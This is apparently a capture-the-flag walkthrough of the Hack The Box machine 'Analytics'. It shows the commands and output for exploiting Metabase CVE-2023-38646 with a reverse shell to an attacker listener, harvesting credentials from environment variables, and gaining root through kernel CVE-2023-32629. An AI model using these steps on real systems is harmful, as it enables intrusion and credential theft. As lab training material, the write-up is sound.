We start by scanning for open ports:
╰─ nmap -sC -sV 10.129.187.65
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-05 19:24 CST
Nmap scan report for 10.129.187.65
Host is up (0.030s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://analytical.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.65 seconds
We can analytical.htb to our hosts file and look at the web application.
If we navigate to the site and try to login we are redirected to a page called data.analytical.htb, so let’s add that to our hosts file too.
After poking around the application for a little while I got stuck so I started throwing requests through the Burp Repeater and saw the following when I tried to send a GET request to data.analytical.htb:
So it looks like the machine is hosting an instance of Metabase, which is some kind of business intelligence tool. They are using version 0.46.6 which appears to be vulnerable to a few CVE’s after doing some googling.
I found an exploit on GitHub here that worked pretty well. You just need to follow the instructions and run it like so while you have a listener open:
╰─ python3 CVE-2023-38646-Reverse-Shell.py --rhost http://data.analytical.htb --lhost 10.10.14.7 --lport 1337
---SNIP---
╰─ nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.14.7] from analytical.htb [10.129.187.65] 50960
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
0b58c5003a18:/$ whoami
metabase
We can look for the user flag but we aren’t there yet. If we look at our environment variables we seem to find some plaintext credentials:
0b58c5003a18:~$ env
---SNIP---
HOME=/home/metabase
LANG=en_US.UTF-8
META_USER=metalytics
META_PASS=An**************3#
---SNIP---
You can use these credentials to log in via SSH and get the user flag:
╰─ ssh metalytics@analytical.htb
metalytics@analytical.htbs password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-25-generic x86_64)
---SNIP---
metalytics@analytics:~$ls
user.txt
I ran linPEAS and pspy but didn’t find anything super interesting. I opted to look at the OS version being used because of a hint I gleamed off of what someone said on the HTB discord:
metalytics@analytics:~$ hostnamectl
Static hostname: analytics
Icon name: computer-vm
Chassis: vm
Machine ID: 97985f393ecf4d86b4acd0b422f7d8c8
Boot ID: c38ffe9283b443368b37f88cc6a2aa7c
Virtualization: vmware
Operating System: Ubuntu 22.04.3 LTS
Kernel: Linux 6.2.0-25-generic
Architecture: x86-64
Hardware Vendor: VMware, Inc.
Hardware Model: VMware Virtual Platform
After googling this Ubuntu version and the kernel number I was able to find a GitHub page that explained that this kernel version used an overlay that allowed for local privilege escalation. The vulnerability in this case is CVE-2023-32629.
We can copy the exploit.sh script and run it on the target machine to get a root shell and read the flag:
metalytics@analytics:~$ nano exploit.sh
metalytics@analytics:~$ chmod +x exploit.sh
metalytics@analytics:~$ ./exploit.sh
[+] You should be root now
[+] Type 'exit' to finish and leave the house cleaned
root@analytics:~#
Overall a super easy machine, all you’ve got to do is search for version numbers and you’re good to go for most of it. The exploits were also very easy to use and would be a great machine for beginners to learn with.